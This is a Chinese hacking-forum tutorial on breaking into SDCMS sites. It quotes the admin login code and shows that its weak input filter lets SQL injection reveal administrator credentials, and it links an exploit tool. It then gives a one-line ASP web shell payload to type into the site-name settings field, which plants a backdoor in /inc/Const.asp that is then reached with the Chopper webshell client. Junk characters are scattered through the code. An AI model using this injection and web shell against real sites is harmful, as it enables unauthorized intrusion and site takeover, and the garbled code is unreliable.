SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
8 U! a, d, f5 ^/ p
- E, S' `3 I; C( D5 g% R3 K4 x; \' @, uSub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
% d. d3 \0 P) b; D' e    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
9 X2 c; K9 @- u+ E# r    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
: w4 m& v( l1 [( E/ @6 a        Else
            Add_Cookies "sdcms_id",Rs(0)
* p7 z! q0 P: ~# E% |            Add_Cookies "sdcms_name",username
* l7 P/ p3 g* q/ q2 z+ T            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
! E  `% a  H: O8 _, w            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
2 h; @0 V& B3 q9 B            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
* q7 v0 z( B% t) Y1 }& K6 F  F6 r, b                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
7 _% u9 g- G1 b            Go("sdcms_index.asp")
% @8 e* C  V9 e% }% f% ^, n2 P        End IF
        Rs.Close
) _, j% p6 h% l5 E" F+ ?1 o        Set Rs=Nothing
6 v: K, a8 b) i' S    End IF
End Sub
8 c3 S7 M. Q4 P% C
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
# Q9 r& ~+ |: ~6 L- H; z
Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
& P1 m! U- w) L- A; T    Select Case t1
- ?( d5 J* m2 j- }# F        Case "1"
9 U1 W9 Q- y! ~4 U            t0=Replace(t0,Chr(32),"")
- L( _$ D+ O* x2 I( s            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
# ~6 ]) ~2 F% H            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
6 y5 W3 I  a* `8 L            t0=Replace(t0,Chr(10),"")'换行
, T5 x: w  n; B+ Y. v- a7 b            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
8 Q! C1 o3 m( v1 G" k            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
4 ?) \5 y$ i& X3 z. j4 Z* |: Z- k) t            t0=Replace(t0,Chr(22),"")
+ K, A; M& q( _) I4 T            t0=Replace(t0,Chr(32),"")'空格 SPACE
% I$ L7 @! c1 n            t0=Replace(t0,Chr(33),"")'!
+ c, R" m- d9 @            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
6 w5 Q8 M& {' p4 s1 X            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
2 b7 }' |* ]6 s" f            t0=Replace(t0,Chr(38),"")'&
5 b9 A7 i6 a! y& T8 C3 h            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
2 [% \, A" U/ \' C* v- A) w: E" ^  q            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
% G9 L0 E- A- T/ ?8 q            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
2 k! K; ~0 F! \+ q+ {            t0=Replace(t0,Chr(45),"")'-
% h. `% }6 P' r$ e6 p" n4 {# |            t0=Replace(t0,Chr(46),"")'.
$ E# m- k- S7 F0 |" T- A8 ^8 H, F# ?            t0=Replace(t0,Chr(47),"")'/
' s* a. L& B/ p            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
, y4 M, N1 r, F/ b            t0=Replace(t0,Chr(63),"")'?
: X  }  v4 S" X- c            t0=Replace(t0,Chr(64),"")'@
6 Y" C1 j* Q2 K6 R( y+ R) I            t0=Replace(t0,Chr(91),"")'\
( [, a' }9 i  n; }" J$ Q5 A: z            t0=Replace(t0,Chr(92),"")'\
' D, h+ G- u% Y, ?% E( \* G            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
% b! F: z6 b" L& y            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
5 E9 G2 T5 @5 U) J9 I            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
6 P2 J$ u0 ~# b& [+ j    Case Else
6 K2 N! Z" W- A; ~5 H        t0=Replace(t0, "&", "&")
# z2 j, a& N2 B0 m! E; n        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
/ a+ H  `( ^1 d8 z( _4 ~/ k  V; H    End Select
+ p9 \9 d# T7 @, s1 q* l    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
+ e1 g8 f% r9 C    End If
    FilterText=t0
End Function
3 _" L3 h; `* W2 Z4 `; N
看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
; [8 f( A6 `- p) j! Z9 n" `. d")
                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
, t* D. g9 |! m- U& c
3 `$ d- Z' T- b# U+ X' }' I7 y测试:
3 e% s4 @9 J- r7 A
. E1 [! }( e! a/ C5 j
' A% u* d6 ?' |! R1 r2 f/ l& I+ T现在输入工具上验证码,然后点OK


看到我们直接进入后台管理界面了,呵呵!
9 H  R7 o5 c. N; M/ F) X. ~

5 V# ^) G* r: }+ U2 l
" N( C  a7 B0 Z! @这样直接进入后台了。。。。
$ C% r4 K# F. o9 }

' s- C5 g. t" N/ L8 p5 q8 X
SDCMS提权:
3 |% N# Z8 e2 [6 K; d
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

5 d. R7 |! f. J6 y, s! h

OK,现在用菜刀连接下!


: Z8 N. d* P+ n' q
' K  ~. {5 v: X& G; ^
8 Y( u+ {1 Q+ D
% }  D2 u+ ]( K4 e5 u